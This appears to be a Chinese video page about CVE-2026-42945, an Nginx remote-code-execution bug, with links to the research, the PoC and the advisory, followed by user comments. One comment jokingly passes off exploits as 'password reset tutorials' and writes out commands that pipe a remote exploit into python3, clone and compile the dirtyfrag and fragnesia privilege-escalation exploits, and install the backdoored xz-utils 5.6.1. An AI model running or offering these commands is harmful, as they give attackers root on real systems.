【紧急】Nginx潜伏18年漏洞！不用密码直接远程控制，30%服务器中招 | CVE-2026-42945 Nginx Rift

合集 · 网络安全 (31)

Description

depthfirst 官方研究：https://depthfirst.com/research/nginx-rift-achieving-nginx-rce-via-an-18-year-old-vulnerability PoC 仓库：https://github.com/depthfirstdisclosures/nginx-rift 
F5 官方公告（受影响版本+修复）：https://my.f5.com/manage/s/article/K000160932 
Copy Fail 研究：https://copy.fail/
省流版：Nginx 从 1.0.0 到 1.30.0 全中招，升级到 1.30.1 或 1.31.0

Comments

等我以后想个好名字 2026-05-15

1. Linux 找回密码教程，建议收藏！ curl https://copy.fail/exp python3 && su passwd root 设置你的新密码 2. 你的 Linux 密码又忘了？没关系，这里还有一个新的！ git clone https://github.com/V4bel/dirtyfrag.git&& cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp 3. 不想再忘记密码了？我们有专业的黑客团队帮您运维服务器和保管密码！项目地址: https://github.com/tukaani-project/xz/tree/v5.6.1 sudo apt install xz-utils=5.6.1-1 sudo systemctl restart ssh 4. 容易忘记密码的有福了，每天都有新办法！ https://ze3tar.github.io/post-zcrx.html 插入一个支持ZCRX的高端网卡，让它down掉，然后ptr_ring drain + scrub loop重复入栈把free_count写溢出即可 5. 什么，你买不起高端网卡？那试试这个吧！ git clone https://github.com/v12-security/pocs.git&& cd pocs/fragnesia && gcc -o exp fragnesia.c && ./exp 6. 听说您的机房不允许ssh外连，只能通过KVM物理访问服务器? 没关系，我们的专业黑客团队也可以通过nginx帮助运维您的服务器！ https://depthfirst.com/nginx-rift [doge]

♥ 436 ↩ 18

五年老上单青翼战神 2026-05-15

最近漏洞接连爆出，都是开源项目，看来是gpt代码检查发力了。

♥ 496 ↩ 18

艾伦の头 2026-05-15

为什么最近突然发现了那么多恶性漏洞[Ave Mujica_害怕]

♥ 255 ↩ 36

AAA南良本批发千姐 2026-05-15

2026 Linux 重置密码教程大全 - Dirty Cow (CVE-2016-5195) - Dirty Pipe (CVE-2022-0847) - io_uring UAF (CVE-2022-2602) - Copy Fail (CVE-2026-31431) - io_uring ZCRX freelist (CVE-2026-43121) - Dirty Frag (CVE-2026-43284 CVE-2026-43500) - Fragnesia (CVE-2026-46300)

♥ 236 ↩ 11

愿你常受朋友 2026-05-15

听说您的手机厂商不允许您解锁您新购买的骁龙 8 Elite Gen 5 手机？听说您的群晖 NAS 开了 Telnet？听说您的手机厂商不允许您解锁您以前购买的骁龙 8 Elite / 8 Gen 2 手机？听说您忘记了您的 Root 密码？听说您升级了内核之后又忘记了您的 Root 密码？听说您又升级了内核然后又忘记了您的 Root 密码？听说您在用高端网卡但忘记了您的 Root 密码？听说您在用 MacBook？听说您的 Web 服务器忘记放通 SSH 端口还没有 VNC 访问？听说您又忘记了您的 SSH Private Key？听说您的 Windows 11 电脑开了 BitLocker 还忘记了锁屏密码？

♥ 166 ↩ 13

chkkvjjc 2026-05-16

这种逆天远古代码没人看，而ai恰好弥补了这一点[笑哭]

♥ 134

就是爱玩的海洋 2026-05-15

我猜你们再找这个

♥ 112 ↩ 2

周易-pandy 2026-05-15

这个漏洞要求非常严格，因为要关闭ASLR才能打的，目前主流linux发行版都是默认开启的，除非是老古董，否则当不存在就行。要么就是几百万分之一刚好地址对上了，那就纯脸黑了

♥ 83 ↩ 17

毛线电视记者 2026-05-15

30%中招明显是夸大了; 至少java体系的打工人,正常项目不用慌;; ai回答同时满足以下条件时，CVE-2026-42945 风险会被触发： .存在 rewrite 指令，并使用未命名 PCRE 捕获组（如 $1, $2） .该 rewrite 的 replacement 字符串中包含 ? .在后续的 rewrite、if 或 set 指令中再次引用这些未命名捕获组 .上述后续指令与该 rewrite 处于同一 rewrite 执行链/同一作用域 location / { # 条件1 + 条件2 rewrite ^/api/(.*)$ /internal?path=$1 last; # 条件3 + 条件4 set $tmp $1; }

♥ 67 ↩ 10